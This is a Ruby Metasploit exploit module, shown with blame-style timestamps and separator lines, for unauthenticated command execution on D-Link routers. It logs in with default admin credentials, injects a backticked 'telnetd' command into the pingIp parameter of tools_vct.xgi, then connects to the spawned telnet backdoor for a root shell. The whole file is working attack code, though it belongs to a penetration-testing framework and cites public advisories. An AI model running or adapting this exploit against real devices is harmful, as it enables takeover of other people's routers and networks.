2013-07-31 12:34:03 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'D-Link Devices Unauthenticated Remote Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
Different D-Link Routers are vulnerable to OS command injection via the web
|
|
|
|
interface. The vulnerability exists in tools_vct.xgi, which is accessible with
|
|
|
|
credentials. According to the vulnerability discoverer, more D-Link devices may
|
|
|
|
be affected.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
|
|
|
'juan vazquez' # minor help with msf module
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '92698' ],
|
|
|
|
[ 'EDB', '25024' ],
|
|
|
|
[ 'BID', '59405' ],
|
|
|
|
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-014' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 22 2013',
|
|
|
|
'Privileged' => true,
|
|
|
|
'Platform' => 'unix',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Compat' => {
|
|
|
|
'PayloadType' => 'cmd_interact',
|
|
|
|
'ConnectionType' => 'find',
|
|
|
|
},
|
|
|
|
},
|
|
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
|
|
|
|
OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']),
|
|
|
|
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
|
|
|
OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]),
|
|
|
|
OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def tel_timeout
|
|
|
|
(datastore['TelnetTimeout'] || 10).to_i
|
|
|
|
end
|
|
|
|
|
|
|
|
def banner_timeout
|
|
|
|
(datastore['TelnetBannerTimeout'] || 25).to_i
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
user = datastore['USERNAME']
|
|
|
|
|
|
|
|
if datastore['PASSWORD'].nil?
|
|
|
|
pass = ""
|
|
|
|
else
|
|
|
|
pass = datastore['PASSWORD']
|
|
|
|
end
|
|
|
|
|
|
|
|
test_login(user, pass)
|
|
|
|
exploit_telnet
|
|
|
|
end
|
|
|
|
|
|
|
|
def test_login(user, pass)
|
|
|
|
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
|
|
|
|
|
|
|
|
login_path = "/login.php"
|
|
|
|
|
|
|
|
#valid login response includes the following
|
|
|
|
login_check = "\<META\ HTTP\-EQUIV\=Refresh\ CONTENT\=\'0\;\ url\=index.php\'\>"
|
|
|
|
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => login_path,
|
|
|
|
'method' => 'POST',
|
|
|
|
'vars_post' => {
|
|
|
|
"ACTION_POST" => "LOGIN",
|
|
|
|
"LOGIN_USER" => "#{user}",
|
|
|
|
"LOGIN_PASSWD" => "#{pass}",
|
|
|
|
"login" => "+Log+In+"
|
|
|
|
}
|
|
|
|
})
|
|
|
|
if res.nil?
|
|
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - no response")
|
|
|
|
end
|
|
|
|
if (res.headers['Server'].nil? or res.headers['Server'] !~ /Mathopd\/1.5p6/)
|
|
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - check the server banner")
|
|
|
|
end
|
|
|
|
if (res.code == 404)
|
|
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice - 404 error")
|
|
|
|
end
|
|
|
|
|
|
|
|
if (res.body) =~ /#{login_check}/
|
|
|
|
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
|
|
|
else
|
|
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit_telnet
|
2013-09-18 17:24:36 +00:00
|
|
|
telnetport = rand(32767) + 32768
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
|
|
|
|
|
|
|
|
cmd = "telnetd -p #{telnetport}"
|
|
|
|
|
|
|
|
#starting the telnetd gives no response
|
|
|
|
request(cmd)
|
|
|
|
|
2013-09-16 14:26:13 +00:00
|
|
|
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
|
|
|
|
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2013-09-16 14:26:13 +00:00
|
|
|
if sock.nil?
|
|
|
|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
|
|
|
end
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2013-09-16 14:26:13 +00:00
|
|
|
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
|
|
|
|
prompt = negotiate_telnet(sock)
|
|
|
|
if prompt.nil?
|
|
|
|
sock.close
|
|
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
|
|
|
|
else
|
|
|
|
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2013-09-16 14:26:13 +00:00
|
|
|
handler(sock)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def request(cmd)
|
|
|
|
|
|
|
|
uri = '/tools_vct.xgi'
|
|
|
|
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri,
|
|
|
|
'vars_get' => {
|
|
|
|
'set/runtime/switch/getlinktype' => "1",
|
|
|
|
'set/runtime/diagnostic/pingIp' => "`#{cmd}`",
|
|
|
|
'pingIP' => ""
|
|
|
|
},
|
|
|
|
'method' => 'GET',
|
|
|
|
})
|
|
|
|
return res
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Since there isn't user/password negotiation, just wait until the prompt is there
|
|
|
|
def negotiate_telnet(sock)
|
|
|
|
begin
|
|
|
|
Timeout.timeout(banner_timeout) do
|
|
|
|
while(true)
|
|
|
|
data = sock.get_once(-1, tel_timeout)
|
|
|
|
return nil if not data or data.length == 0
|
|
|
|
if data =~ /\x23\x20$/
|
|
|
|
return true
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
rescue ::Timeout::Error
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
end
|
2013-08-14 16:47:57 +00:00
|
|
|
|
2013-07-31 12:34:03 +00:00
|
|
|
end
|